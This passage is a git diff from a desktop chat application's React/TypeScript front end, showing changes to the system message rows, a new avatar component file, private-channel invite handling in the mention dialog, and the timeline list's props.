+              hasComposerOverlay &&
+                "translate-y-[calc(-1*var(--composer-overlay-height,8rem))] transform-gpu transition-transform duration-200 ease-[cubic-bezier(0.23,1,0.32,1)] motion-reduce:transition-none",
             )}
           >
             <UnreadPill
diff --git a/desktop/src/features/messages/ui/MessageTimestamp.tsx b/desktop/src/features/messages/ui/MessageTimestamp.tsx
index cc164db359..ff5394b76b 100644
--- a/desktop/src/features/messages/ui/MessageTimestamp.tsx
+++ b/desktop/src/features/messages/ui/MessageTimestamp.tsx
@@ -37,6 +37,7 @@ export function MessageTimestamp({
               "shrink-0 cursor-default whitespace-nowrap text-xs font-normal leading-4 tabular-nums text-muted-foreground/55",
               className,
             )}
+            data-testid="message-timestamp"
           >
             {displayTime}
           </p>
diff --git a/desktop/src/features/messages/ui/NewMessageScreen.tsx b/desktop/src/features/messages/ui/NewMessageScreen.tsx
index 4e212c523f..f94dd5d1e1 100644
--- a/desktop/src/features/messages/ui/NewMessageScreen.tsx
+++ b/desktop/src/features/messages/ui/NewMessageScreen.tsx
@@ -257,10 +257,6 @@ export function NewMessageScreen() {
         );
       }
 
-      if (!isMountedRef.current) {
-        return;
-      }
-
       try {
         await sendMessageMutation.mutateAsync({
           targetChannel: directMessage,
@@ -272,7 +268,7 @@ export function NewMessageScreen() {
         preparedDirectMessageRef.current = null;
         const message =
           error instanceof Error ? error.message : "Failed to send message.";
-        setSubmitErrorMessage(message);
+        if (isMountedRef.current) setSubmitErrorMessage(message);
         throw error;
       }
 
@@ -603,6 +599,7 @@ export function NewMessageScreen() {
         onPreparingMentionSendChange={setIsPreparingMentionSend}
         onSend={sendFirstMessage}
         placeholder={composerPlaceholder}
+        showBackgroundUploadProgress
       />
       <div aria-hidden="true" className="min-h-8 bg-background px-5 pb-1.5" />
     </div>
diff --git a/desktop/src/features/messages/ui/NonMemberMentionDialog.tsx b/desktop/src/features/messages/ui/NonMemberMentionDialog.tsx
index 20f50924fb..c72686a642 100644
--- a/desktop/src/features/messages/ui/NonMemberMentionDialog.tsx
+++ b/desktop/src/features/messages/ui/NonMemberMentionDialog.tsx
@@ -7,8 +7,11 @@ import {
   AlertDialogTitle,
 } from "@/shared/ui/alert-dialog";
 import { Button } from "@/shared/ui/button";
+import { PRIVATE_CHANNEL_ADD_DENIED_MESSAGE } from "@/features/channels/lib/channelMemberAdmission";
 
 type NonMemberMentionDialogProps = {
+  /** False in a private channel the viewer doesn't own/administer. */
+  canInvite: boolean;
   error: string | null;
   isInvitePending: boolean;
   names: string[];
@@ -19,6 +22,7 @@ type NonMemberMentionDialogProps = {
 };
 
 export function NonMemberMentionDialog({
+  canInvite,
   error,
   isInvitePending,
   names,
@@ -43,7 +47,10 @@ export function NonMemberMentionDialog({
           </AlertDialogTitle>
           <AlertDialogDescription>
             {names.join(", ")} {names.length === 1 ? "is" : "are"} not in this
-            channel. Invite them to the channel, or send without inviting them.
+            channel.{" "}
+            {canInvite
+              ? "Invite them to the channel, or send without inviting them."
+              : `${PRIVATE_CHANNEL_ADD_DENIED_MESSAGE} You can still send without inviting them.`}
           </AlertDialogDescription>
         </AlertDialogHeader>
         {error ? (
@@ -59,16 +66,18 @@ export function NonMemberMentionDialog({
             type="button"
             variant="outline"
           >
-            Do nothing
-          </Button>
-          <Button
-            disabled={isInvitePending}
-            onClick={onInvite}
-            size="sm"
-            type="button"
-          >
-            {isInvitePending ? "Inviting..." : "Invite"}
+            {canInvite ? "Do nothing" : "Send anyway"}
           </Button>
+          {canInvite ? (
+            <Button
+              disabled={isInvitePending}
+              onClick={onInvite}
+              size="sm"
+              type="button"
+            >
+              {isInvitePending ? "Inviting..." : "Invite"}
+            </Button>
+          ) : null}
         </AlertDialogFooter>
       </AlertDialogContent>
     </AlertDialog>
diff --git a/desktop/src/features/messages/ui/SystemMessageAvatars.tsx b/desktop/src/features/messages/ui/SystemMessageAvatars.tsx
new file mode 100644
index 0000000000..e3792259b5
--- /dev/null
+++ b/desktop/src/features/messages/ui/SystemMessageAvatars.tsx
@@ -0,0 +1,196 @@
+import {
+  resolveUserLabel,
+  type UserProfileLookup,
+} from "@/features/profile/lib/identity";
+import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
+import { cn } from "@/shared/lib/cn";
+import { normalizePubkey } from "@/shared/lib/pubkey";
+import { UserAvatar } from "@/shared/ui/UserAvatar";
+
+const MAX_MEMBERSHIP_AVATARS = 5;
+
+function resolveAvatarUrl(
+  pubkey: string | undefined,
+  profiles: UserProfileLookup | undefined,
+): string | null {
+  if (!pubkey || !profiles) return null;
+  return profiles[pubkey.toLowerCase()]?.avatarUrl ?? null;
+}
+
+function isKnownAgentPubkey(
+  pubkey: string | undefined,
+  profiles: UserProfileLookup | undefined,
+  personaLookup?: Map<string, string>,
+  agentPubkeys?: ReadonlySet<string>,
+) {
+  if (!pubkey) return false;
+  const normalizedPubkey = normalizePubkey(pubkey);
+  return (
+    agentPubkeys?.has(normalizedPubkey) === true ||
+    profiles?.[normalizedPubkey]?.isAgent === true ||
+    personaLookup?.has(normalizedPubkey) === true
+  );
+}
+
+export function SystemMessageAvatar({
+  actorPubkey,
+  agentPubkeys,
+  currentPubkey,
+  personaLookup,
+  profiles,
+  targetPubkey,
+}: {
+  actorPubkey: string | undefined;
+  agentPubkeys?: ReadonlySet<string>;
+  currentPubkey: string | undefined;
+  personaLookup?: Map<string, string>;
+  profiles: UserProfileLookup | undefined;
+  targetPubkey: string | undefined;
+}) {
+  const hasActorAndTarget =
+    actorPubkey && targetPubkey && actorPubkey !== targetPubkey;
+  const actorLabel = actorPubkey
+    ? resolveUserLabel({
+        pubkey: actorPubkey,
+        currentPubkey,
+        profiles,
+        preferResolvedSelfLabel: true,
+      })
+    : "Someone";
+  const singlePubkey = actorPubkey ?? targetPubkey;
+
+  if (!hasActorAndTarget) {
+    const isSingleAgent = isKnownAgentPubkey(
+      singlePubkey,
+      profiles,
+      personaLookup,
+      agentPubkeys,
+    );
+    const avatar = (
+      <UserAvatar
+        avatarUrl={resolveAvatarUrl(singlePubkey, profiles)}
+        className="!h-9 !w-9 shrink-0 text-2xs"
+        displayName={actorLabel}
+        testId="system-message-avatar"
+      />
+    );
+    if (singlePubkey) {
+      return (
+        <UserProfilePopover
+          botIdenticonValue={isSingleAgent ? actorLabel : undefined}
+          pubkey={singlePubkey}
+          role={isSingleAgent ? "bot" : undefined}
+        >
+          <button
+            className="shrink-0 rounded-full focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+            data-testid="system-message-avatar"
+            type="button"
+          >
+            {avatar}
+          </button>
+        </UserProfilePopover>
+      );
+    }
+    return avatar;
+  }
+
+  const isActorAgent = isKnownAgentPubkey(
+    actorPubkey,
+    profiles,
+    personaLookup,
+    agentPubkeys,
+  );
+  const targetLabel = resolveUserLabel({
+    pubkey: targetPubkey,
+    currentPubkey,
+    profiles,
+    preferResolvedSelfLabel: true,
+  });
+  const dualAvatar = (
+    <div
+      className="relative h-9 w-9 shrink-0"
+      data-testid="system-message-avatar"
+    >
+      <UserAvatar
+        avatarUrl={resolveAvatarUrl(actorPubkey, profiles)}
+        className="!h-7 !w-7 border-2 border-background text-2xs"
+        displayName={actorLabel}
+      />
+      <UserAvatar
+        avatarUrl={resolveAvatarUrl(targetPubkey, profiles)}
+        className="!absolute !bottom-0 !right-0 !h-7 !w-7 border-2 border-background text-2xs"
+        displayName={targetLabel}
+      />
+    </div>
+  );
+  return (
+    <UserProfilePopover
+      botIdenticonValue={isActorAgent ? actorLabel : undefined}
+      pubkey={actorPubkey}
+      role={isActorAgent ? "bot" : undefined}
+    >
+      <button
+        className="shrink-0 rounded-full focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+        type="button"
+      >
+        {dualAvatar}
+      </button>
+    </UserProfilePopover>
+  );
+}
+
+export function MembershipAvatarStack({
+  currentPubkey,
+  profiles,
+  pubkeys,
+}: {
+  currentPubkey: string | undefined;
+  profiles: UserProfileLookup | undefined;
+  pubkeys: readonly string[];
+}) {
+  const visiblePubkeys = pubkeys.slice(0, MAX_MEMBERSHIP_AVATARS);
+  if (visiblePubkeys.length === 0) return null;
+  return (
+    <div
+      aria-label={`${visiblePubkeys.length} channel member${visiblePubkeys.length === 1 ? "" : "s"}`}
+      className="relative z-10 flex shrink-0 items-center justify-center"
+      data-testid="system-message-avatar-stack"
+      role="img"
+    >
+      {visiblePubkeys.map((pubkey, index) => {
+        const label = resolveUserLabel({
+          pubkey,
+          currentPubkey,
+          profiles,
+          preferResolvedSelfLabel: true,
+        });
+        return (
+          <div
+            className={cn("relative", index > 0 && "-ml-1")}
+            data-testid="system-message-avatar"
+            key={pubkey}
+            style={{ zIndex: index + 1 }}
+          >
+            <span
+              className="block"
+              style={{
+                ...(index < visiblePubkeys.length - 1 && {
+                  mask: "radial-gradient(circle 14px at calc(100% + 6px) 50%, transparent 99%, #fff 100%)",
+                  WebkitMask:
+                    "radial-gradient(circle 14px at calc(100% + 6px) 50%, transparent 99%, #fff 100%)",
+                }),
+              }}
+            >
+              <UserAvatar
+                avatarUrl={resolveAvatarUrl(pubkey, profiles)}
+                className="h-6 w-6 text-2xs"
+                displayName={label}
+                size="sm"
+              />
+            </span>
+          </div>
+        );
+      })}
+    </div>
+  );
+}
diff --git a/desktop/src/features/messages/ui/SystemMessageRow.tsx b/desktop/src/features/messages/ui/SystemMessageRow.tsx
index c4637d2823..1da16e437f 100644
--- a/desktop/src/features/messages/ui/SystemMessageRow.tsx
+++ b/desktop/src/features/messages/ui/SystemMessageRow.tsx
@@ -29,12 +29,17 @@ import { Popover, PopoverContent, PopoverTrigger } from "@/shared/ui/popover";
 import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
 import { UserAvatar } from "@/shared/ui/UserAvatar";
 import {
+  addedByActionPrefix,
   describeChannelTextFieldChange,
   toInlineName,
 } from "../lib/systemEventCopy";
 import { MessageAgentOwner } from "./MessageAgentOwner";
 import { MessageAuthorText, MessageHeaderRow } from "./MessageHeader";
 import { MessageTimestamp } from "./MessageTimestamp";
+import {
+  MembershipAvatarStack,
+  SystemMessageAvatar,
+} from "./SystemMessageAvatars";
 
 const SYSTEM_ACTION_BUTTON_CLASS = "h-6 w-6 rounded-full p-0";
 const SYSTEM_ACTION_ICON_CLASS = "!h-4 !w-4";
@@ -77,34 +82,29 @@ function buildGroupedMembershipPayload(
   if (messages.length < 2) return null;
 
   const payloads = messages.map(parseSystemMessagePayload);
-  const firstPayload = payloads[0];
-  const actor = firstPayload?.actor
-    ? normalizePubkey(firstPayload.actor)
-    : null;
-  const firstTarget = firstPayload?.target
-    ? normalizePubkey(firstPayload.target)
-    : null;
-  if (!actor || !firstTarget) return null;
-  const isSelfJoinGroup = actor === firstTarget;
+  const joinedThenLeft = buildJoinedThenLeftPayload(payloads);
+  if (joinedThenLeft) return joinedThenLeft;
 
-  const targets: string[] = [];
-  for (const payload of payloads) {
+  const arrivals = payloads.map((payload) => {
     const payloadActor = payload?.actor ? normalizePubkey(payload.actor) : null;
     const payloadTarget = payload?.target
       ? normalizePubkey(payload.target)
       : null;
-    if (
-      payload?.type !== "member_joined" ||
-      !payloadActor ||
-      !payloadTarget ||
-      (isSelfJoinGroup
-        ? payloadActor !== payloadTarget
-        : payloadActor !== actor || payloadActor === payloadTarget)
-    ) {
+    if (payload?.type !== "member_joined" || !payloadActor || !payloadTarget) {
       return null;
     }
-    targets.push(payloadTarget);
-  }
+    return { actor: payloadActor, target: payloadTarget };
+  });
+  if (arrivals.some((arrival) => !arrival)) return null;
+
+  const membershipArrivals = arrivals as {
+    actor: string;
+    target: string;
+  }[];
+  const targets = membershipArrivals.map(({ target }) => target);
+  const isSelfJoinGroup = membershipArrivals.every(
+    ({ actor, target }) => actor === target,
+  );
 
   if (isSelfJoinGroup) {
     return {
@@ -114,6 +114,15 @@ function buildGroupedMembershipPayload(
     };
   }
 
+  const actor = membershipArrivals[0].actor;
+  const isSameAdderGroup = membershipArrivals.every(
+    ({ actor: candidateActor, target }) =>
+      candidateActor === actor && candidateActor !== target,
+  );
+  if (!isSameAdderGroup) {
+    return null;
+  }
+
   return {
     type: "members_added",
     actor,
@@ -122,6 +131,32 @@ function buildGroupedMembershipPayload(
   };
 }
 
+function buildJoinedThenLeftPayload(
+  payloads: readonly (SystemMessagePayload | null)[],
+): SystemMessagePayload | null {
+  if (payloads.length !== 2) return null;
+
+  const [arrival, departure] = payloads;
+  const arrivalTarget = arrival?.target
+    ? normalizePubkey(arrival.target)
+    : null;
+  const departureActor = departure?.actor
+    ? normalizePubkey(departure.actor)
+    : null;
+  if (
+    arrival?.type !== "member_joined" ||
+    departure?.type !== "member_left" ||
+    !arrival.actor ||
+    !arrivalTarget ||
+    normalizePubkey(arrival.actor) !== arrivalTarget ||
+    arrivalTarget !== departureActor
+  ) {
+    return null;
+  }
+
+  return { type: "member_joined_then_left", target: arrival.target };
+}
+
 function aggregateGroupedReactions(
   messages: readonly TimelineMessage[],
 ): TimelineReaction[] {
@@ -277,116 +312,17 @@ function ProfileName({
   );
 }
 
-function SystemMessageAvatar({
-  actorPubkey,
-  agentPubkeys,
-  currentPubkey,
-  personaLookup,
-  profiles,
-  targetPubkey,
-}: {
-  actorPubkey: string | undefined;
-  agentPubkeys?: ReadonlySet<string>;
-  currentPubkey: string | undefined;
-  personaLookup?: Map<string, string>;
-  profiles: UserProfileLookup | undefined;
-  targetPubkey: string | undefined;
-}) {
-  const hasActorAndTarget =
-    actorPubkey && targetPubkey && actorPubkey !== targetPubkey;
-  const actorLabel = actorPubkey
-    ? resolveUserLabel({
-        pubkey: actorPubkey,
-        currentPubkey,
-        profiles,
-        preferResolvedSelfLabel: true,
-      })
-    : "Someone";
-
-  const singlePubkey = actorPubkey ?? targetPubkey;
-
-  if (!hasActorAndTarget) {
-    const isSingleAgent = isKnownAgentPubkey(
-      singlePubkey,
-      profiles,
-      personaLookup,
-      agentPubkeys,
-    );
-    const avatar = (
-      <UserAvatar
-        avatarUrl={resolveAvatarUrl(singlePubkey, profiles)}
-        className="!h-9 !w-9 shrink-0 text-2xs"
-        displayName={actorLabel}
-        testId="system-message-avatar"
-      />
-    );
-
-    if (singlePubkey) {
-      return (
-        <UserProfilePopover
-          botIdenticonValue={isSingleAgent ? actorLabel : undefined}
-          pubkey={singlePubkey}
-          role={isSingleAgent ? "bot" : undefined}
-        >
-          <button
-            className="shrink-0 rounded-full focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-            data-testid="system-message-avatar"
-            type="button"
-          >
-            {avatar}
-          </button>
-        </UserProfilePopover>
-      );
-    }
-
-    return avatar;
-  }
-
-  const isActorAgent = isKnownAgentPubkey(
-    actorPubkey,
-    profiles,
-    personaLookup,
-    agentPubkeys,
-  );
-  const targetLabel = resolveUserLabel({
-    pubkey: targetPubkey,
-    currentPubkey,
-    profiles,
-    preferResolvedSelfLabel: true,
-  });
-
-  const dualAvatar = (
-    <div
-      className="relative h-9 w-9 shrink-0"
-      data-testid="system-message-avatar"
-    >
-      <UserAvatar
-        avatarUrl={resolveAvatarUrl(actorPubkey, profiles)}
-        className="!h-7 !w-7 border-2 border-background text-2xs"
-        displayName={actorLabel}
-      />
-      <UserAvatar
-        avatarUrl={resolveAvatarUrl(targetPubkey, profiles)}
-        className="!absolute !bottom-0 !right-0 !h-7 !w-7 border-2 border-background text-2xs"
-        displayName={targetLabel}
-      />
-    </div>
-  );
-
-  return (
-    <UserProfilePopover
-      botIdenticonValue={isActorAgent ? actorLabel : undefined}
-      pubkey={actorPubkey}
-      role={isActorAgent ? "bot" : undefined}
-    >
-      <button
-        className="shrink-0 rounded-full focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-        type="button"
-      >
-        {dualAvatar}
-      </button>
-    </UserProfilePopover>
-  );
+function membershipActivityPubkeys(payload: SystemMessagePayload): string[] {
+  const pubkeys =
+    payload.type === "members_added" || payload.type === "members_joined"
+      ? (payload.targets ?? [])
+      : payload.type === "member_removed"
+        ? [payload.target ?? payload.actor]
+        : [payload.target ?? payload.actor];
+
+  return [
+    ...new Set(pubkeys.filter((pubkey): pubkey is string => Boolean(pubkey))),
+  ];
 }
 
 function MembershipPersonName({
@@ -508,6 +444,10 @@ function describeSystemEvent(
   personaLookup?: Map<string, string>,
   agentPubkeys?: ReadonlySet<string>,
 ): SystemMessageDescription | null {
+  const isTargetCurrentUser =
+    currentPubkey !== undefined &&
+    payload.target !== undefined &&
+    normalizePubkey(payload.target) === normalizePubkey(currentPubkey);
   const isTargetAgent = isKnownAgentPubkey(
     payload.target,
     profiles,
@@ -554,7 +494,7 @@ function describeSystemEvent(
         title: membershipTitle,
         action: (
           <>
-            added by{" "}
+            {addedByActionPrefix(isTargetCurrentUser)}{" "}
             <ProfileName pubkey={payload.actor} underlineOnHover>
               {resolveInlineDisplayLabel(
                 payload.actor,
@@ -590,6 +530,12 @@ function describeSystemEvent(
           </>
         ),
       };
+    case "member_joined_then_left":
+      if (!payload.target) return null;
+      return {
+        title: membershipTitle,
+        action: "joined, then left the channel",
+      };
     case "member_joined": {
       if (!payload.actor || !payload.target) return null;
       if (normalizePubkey(payload.actor) === normalizePubkey(payload.target)) {
@@ -602,7 +548,7 @@ function describeSystemEvent(
         title: membershipTitle,
         action: (
           <>
-            added by{" "}
+            {addedByActionPrefix(isTargetCurrentUser)}{" "}
             <ProfileName pubkey={payload.actor} underlineOnHover>
               {resolveInlineDisplayLabel(
                 payload.actor,
@@ -766,6 +712,14 @@ export const SystemMessageRow = React.memo(function SystemMessageRow({
     payload.type === "member_joined" ||
     payload.type === "members_added" ||
     payload.type === "members_joined";
+  const isMembershipActivity =
+    isMembershipArrival ||
+    payload.type === "member_joined_then_left" ||
+    payload.type === "member_left" ||
+    payload.type === "member_removed";
+  const membershipPubkeys = isMembershipActivity
+    ? membershipActivityPubkeys(payload)
+    : [];
   const displayedIdentityPubkey = isMembershipArrival
     ? payload.target
     : payload.actor;
@@ -799,140 +753,172 @@ export const SystemMessageRow = React.memo(function SystemMessageRow({
       (reaction) => reaction.emoji === emoji && reaction.reactedByCurrentUser,
     );
 
-  return (
+  const reactionsContent = (
+    <div>
+      <MessageReactions
+        messageId={reactionMessage.id}
+        reactions={reactions}
+        canToggle={canToggleReactions}
+        pending={reactionPending}
+        className="mt-0.5 pt-0.5"
+        burstEmojiOnRender={badgeBurstEmoji}
+        onBurstEmojiRendered={(emoji) => {
+          setBadgeBurstEmoji((current) => (current === emoji ? null : current));
+        }}
+        onSelect={(emoji) => {
+          void handleReactionSelect(emoji);
+        }}
+      />
+      {reactionErrorMessage ? (
+        <p className="mt-1.5 text-xs text-destructive">
+          {reactionErrorMessage}
+        </p>
+      ) : null}
+    </div>
+  );
+
+  const reactionPicker = canToggleReactions ? (
     <div
-      className="group/message relative mx-1 rounded-2xl px-2 py-1 transition-colors hover:bg-muted/50 focus-within:bg-muted/50"
-      data-testid="system-message-row"
+      className={cn(
+        "overflow-hidden rounded-full border border-border/70 bg-background/95 shadow-xs backdrop-blur-sm supports-[backdrop-filter]:bg-background/85 transition-all duration-150 ease-out",
+        "max-w-0 border-0 shadow-none translate-y-1 opacity-0",
+        "group-hover/message:max-w-9 group-hover/message:border group-hover/message:border-border/70 group-hover/message:shadow-xs group-hover/message:translate-y-0 group-hover/message:opacity-100",
+        "group-focus-within/message:max-w-9 group-focus-within/message:border group-focus-within/message:border-border/70 group-focus-within/message:shadow-xs group-focus-within/message:translate-y-0 group-focus-within/message:opacity-100",
+        isReactionPickerOpen
+          ? "max-w-9 border border-border/70 shadow-xs translate-y-0 opacity-100"
+          : "",
+      )}
     >
-      <div className="flex items-start gap-2.5">
-        <SystemMessageAvatar
-          actorPubkey={isMembershipArrival ? payload.target : payload.actor}
-          agentPubkeys={agentPubkeys}
-          currentPubkey={currentPubkey}
-          personaLookup={personaLookup}
-          profiles={profiles}
-          targetPubkey={isMembershipArrival ? undefined : payload.target}
-        />
-        <div
-          className={cn(
-            MESSAGE_MARKDOWN_CLASS,
-            "flex min-w-0 flex-1 flex-col gap-0.5",
-          )}
+      <div className="flex items-center gap-1 p-1">
+        <Popover
+          onOpenChange={setIsReactionPickerOpen}
+          open={isReactionPickerOpen}
         >
-          <MessageHeaderRow>
-            <MessageAuthorText as="div" className="text-foreground">
-              {description.title}
-            </MessageAuthorText>
-            {displayedIdentityIsAgent ? (
-              <MessageAgentOwner
-                ownerLabel={displayedOwnerLabel}
-                ownerPubkey={displayedOwnerPubkey}
-              />
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <PopoverTrigger asChild>
+                <Button
+                  aria-label="Open reactions"
+                  className={SYSTEM_ACTION_BUTTON_CLASS}
+                  size="sm"
+                  type="button"
+                  variant={isReactionPickerOpen ? "secondary" : "ghost"}
+                >
+                  <SmilePlus className={SYSTEM_ACTION_ICON_CLASS} />
+                </Button>
+              </PopoverTrigger>
+            </TooltipTrigger>
+            <TooltipContent>React</TooltipContent>
+          </Tooltip>
+          <PopoverContent
+            align="end"
+            className="w-auto p-0 rounded-2xl overflow-hidden border-0 bg-transparent shadow-none"
+            side="top"
+            sideOffset={10}
+          >
+            {reactionErrorMessage ? (
+              <div className="px-3 pt-3 pb-0">
+                <p className="text-xs text-destructive">
+                  {reactionErrorMessage}
+                </p>
+              </div>
             ) : null}
-            <MessageTimestamp
-              createdAt={message.createdAt}
-              time={message.time}
-            />
-          </MessageHeaderRow>
-          <p className="-mt-0.5 text-sm leading-snug text-foreground">
-            {description.action}
-          </p>
-          <div>
-            <MessageReactions
-              messageId={reactionMessage.id}
-              reactions={reactions}
-              canToggle={canToggleReactions}
-              pending={reactionPending}
-              className="mt-0.5 pt-0.5"
-              burstEmojiOnRender={badgeBurstEmoji}
-              onBurstEmojiRendered={(emoji) => {
-                setBadgeBurstEmoji((current) =>
-                  current === emoji ? null : current,
-                );
-              }}
-              onSelect={(emoji) => {
-                void handleReactionSelect(emoji);
+            <EmojiPicker
+              onSelect={(value) => {
+                if (
+                  !reactionPending &&
+                  wouldAddReaction(value) &&
+                  isPositiveEmojiParticle(value)
+                ) {
+                  setBadgeBurstEmoji(value);
+                }
+                void handleReactionSelect(value)
+                  .then(() => {
+                    recordQuickReactionEmoji(value);
+                  })
+                  .catch(() => {})
+                  .finally(() => {
+                    setIsReactionPickerOpen(false);
+                  });
               }}
             />
-            {reactionErrorMessage ? (
-              <p className="mt-1.5 text-xs text-destructive">
-                {reactionErrorMessage}
+          </PopoverContent>
+        </Popover>
+      </div>
+    </div>
+  ) : null;
+
+  return (
+    <div
+      className={cn(
+        "group/message relative mx-1 transition-colors",
+        isMembershipActivity
+          ? "pb-2 pt-4"
+          : "rounded-2xl px-2 py-1 hover:bg-muted/50 focus-within:bg-muted/50",
+      )}
+      data-testid="system-message-row"
+    >
+      {isMembershipActivity ? (
+        <div className={cn(MESSAGE_MARKDOWN_CLASS, "flex flex-col gap-1.5")}>
+          <div className="flex justify-center">
+            <div className="flex min-w-0 max-w-[min(40rem,80%)] items-center gap-2">
+              <MembershipAvatarStack
+                currentPubkey={currentPubkey}
+                profiles={profiles}
+                pubkeys={membershipPubkeys}
+              />
+              <p className="min-w-0 text-left text-xs font-normal leading-4 text-muted-foreground/70">
+                {description.title} {description.action}
               </p>
-            ) : null}
+            </div>
           </div>
+          <div className="flex justify-center">{reactionsContent}</div>
         </div>
-        <div className="absolute right-2 top-1 z-10 sm:top-0 sm:-translate-y-1/2">
-          {canToggleReactions ? (
-            <div
-              className={cn(
-                "overflow-hidden rounded-full border border-border/70 bg-background/95 shadow-xs backdrop-blur-sm supports-[backdrop-filter]:bg-background/85 transition-all duration-150 ease-out",
-                "max-w-0 border-0 shadow-none translate-y-1 opacity-0",
-                "group-hover/message:max-w-9 group-hover/message:border group-hover/message:border-border/70 group-hover/message:shadow-xs group-hover/message:translate-y-0 group-hover/message:opacity-100",
-                "group-focus-within/message:max-w-9 group-focus-within/message:border group-focus-within/message:border-border/70 group-focus-within/message:shadow-xs group-focus-within/message:translate-y-0 group-focus-within/message:opacity-100",
-                isReactionPickerOpen
-                  ? "max-w-9 border border-border/70 shadow-xs translate-y-0 opacity-100"
-                  : "",
-              )}
-            >
-              <div className="flex items-center gap-1 p-1">
-                <Popover
-                  onOpenChange={setIsReactionPickerOpen}
-                  open={isReactionPickerOpen}
-                >
-                  <Tooltip>
-                    <TooltipTrigger asChild>
-                      <PopoverTrigger asChild>
-                        <Button
-                          aria-label="Open reactions"
-                          className={SYSTEM_ACTION_BUTTON_CLASS}
-                          size="sm"
-                          type="button"
-                          variant={isReactionPickerOpen ? "secondary" : "ghost"}
-                        >
-                          <SmilePlus className={SYSTEM_ACTION_ICON_CLASS} />
-                        </Button>
-                      </PopoverTrigger>
-                    </TooltipTrigger>
-                    <TooltipContent>React</TooltipContent>
-                  </Tooltip>
-                  <PopoverContent
-                    align="end"
-                    className="w-auto p-0 rounded-2xl overflow-hidden border-0 bg-transparent shadow-none"
-                    side="top"
-                    sideOffset={10}
-                  >
-                    {reactionErrorMessage ? (
-                      <div className="px-3 pt-3 pb-0">
-                        <p className="text-xs text-destructive">
-                          {reactionErrorMessage}
-                        </p>
-                      </div>
-                    ) : null}
-                    <EmojiPicker
-                      onSelect={(value) => {
-                        if (
-                          !reactionPending &&
-                          wouldAddReaction(value) &&
-                          isPositiveEmojiParticle(value)
-                        ) {
-                          setBadgeBurstEmoji(value);
-                        }
-                        void handleReactionSelect(value)
-                          .then(() => {
-                            recordQuickReactionEmoji(value);
-                          })
-                          .catch(() => {})
-                          .finally(() => {
-                            setIsReactionPickerOpen(false);
-                          });
-                      }}
-                    />
-                  </PopoverContent>
-                </Popover>
-              </div>
-            </div>
-          ) : null}
+      ) : (
+        <div className="flex items-start gap-2.5">
+          <SystemMessageAvatar
+            actorPubkey={isMembershipArrival ? payload.target : payload.actor}
+            agentPubkeys={agentPubkeys}
+            currentPubkey={currentPubkey}
+            personaLookup={personaLookup}
+            profiles={profiles}
+            targetPubkey={isMembershipArrival ? undefined : payload.target}
+          />
+          <div
+            className={cn(
+              MESSAGE_MARKDOWN_CLASS,
+              "flex min-w-0 flex-1 flex-col gap-0.5",
+            )}
+          >
+            <MessageHeaderRow>
+              <MessageAuthorText as="div" className="text-foreground">
+                {description.title}
+              </MessageAuthorText>
+              {displayedIdentityIsAgent ? (
+                <MessageAgentOwner
+                  ownerLabel={displayedOwnerLabel}
+                  ownerPubkey={displayedOwnerPubkey}
+                />
+              ) : null}
+              <MessageTimestamp
+                createdAt={message.createdAt}
+                time={message.time}
+              />
+            </MessageHeaderRow>
+            <p className="-mt-0.5 text-sm leading-snug text-foreground">
+              {description.action}
+            </p>
+            {reactionsContent}
+          </div>
         </div>
+      )}
+      <div
+        className={cn(
+          "absolute right-2 z-10",
+          isMembershipActivity ? "top-2" : "top-1 sm:top-0 sm:-translate-y-1/2",
+        )}
+      >
+        {reactionPicker}
       </div>
     </div>
   );
diff --git a/desktop/src/features/messages/ui/TimelineMessageList.tsx b/desktop/src/features/messages/ui/TimelineMessageList.tsx
index b724d995eb..bf2da03f40 100644
--- a/desktop/src/features/messages/ui/TimelineMessageList.tsx
+++ b/desktop/src/features/messages/ui/TimelineMessageList.tsx
@@ -3,7 +3,6 @@ import { VList } from "virtua";
 import type { VListHandle } from "virtua";
 
 import { formatDayHeading } from "@/features/messages/lib/dateFormatters";
-import { timelineRowReserveStyle } from "@/features/messages/lib/rowHeightEstimate";
 import {
   buildTimelineDayGroups,
   buildTimelineItems,
@@ -18,21 +17,18 @@ import {
   type VirtualizedTimelineItem,
   virtualizedItemKey,
 } from "@/features/messages/lib/virtualizedTimelineItems";
-import { THREAD_REPLY_ROW_MARGIN_INLINE_REM } from "@/features/messages/lib/threadTreeLayout";
 import { buildMainTimelineEntries } from "@/features/messages/lib/threadPanel";
 import type { MainTimelineEntry } from "@/features/messages/lib/threadPanel";
 import type { ChannelWindowThreadSummary } from "@/features/messages/lib/channelWindowStore";
 import { buildVideoReviewContextsByMessageId } from "@/features/messages/lib/videoReviewContext";
-import type { buildVideoReviewContextForMessage } from "@/features/messages/lib/videoReviewContext";
 import type { TimelineMessage } from "@/features/messages/types";
-import { canManageMessageForCurrentUser } from "@/features/messages/lib/canManageMessage";
 import type { UserProfileLookup } from "@/features/profile/lib/identity";
 import type { ChannelType } from "@/shared/api/types";
 import { cn } from "@/shared/lib/cn";
+import { channelChrome } from "@/shared/layout/chromeLayout";
 import { DayDivider } from "./DayDivider";
-import { MessageRow } from "./MessageRow";
-import { MessageThreadSummaryRow } from "./MessageThreadSummaryRow";
-import { SystemMessageRow } from "./SystemMessageRow";
+import { MessageRowItem, SystemRow } from "./TimelineMessageRow";
+import { TimelineRowShell } from "./TimelineRowShell";
 import { UnreadDivider } from "./UnreadDivider";
 import { useTimelineRetention } from "./useTimelineRetention";
 import { useUpwardPaginationWheel } from "./useUpwardPaginationWheel";
@@ -77,6 +73,7 @@ type TimelineMessageListProps = {
   onMarkUnread?: (message: TimelineMessage) => void;
   onMarkRead?: (message: TimelineMessage) => void;
   onReply?: (message: TimelineMessage) => void;
+  onOpenThread?: (message: TimelineMessage) => void;
   isSendingVideoReviewComment?: boolean;
   onSendVideoReviewComment?: (
     message: TimelineMessage,
@@ -105,6 +102,12 @@ type TimelineMessageListProps = {
   threadUnreadCounts?: ReadonlyMap<string, number>;
   /** Content rendered as the first virtual row before channel history. */
   leadingContent?: React.ReactNode;
+  /** Hide date boundaries for a huddle's live transcript. */
+  hideDayDividers?: boolean;
+  /** Show speaker identity on every row instead of grouping consecutive messages. */
+  alwaysShowMessageIdentity?: boolean;
+  /** Hide agent access-policy badges in the purpose-built Huddle chat. */
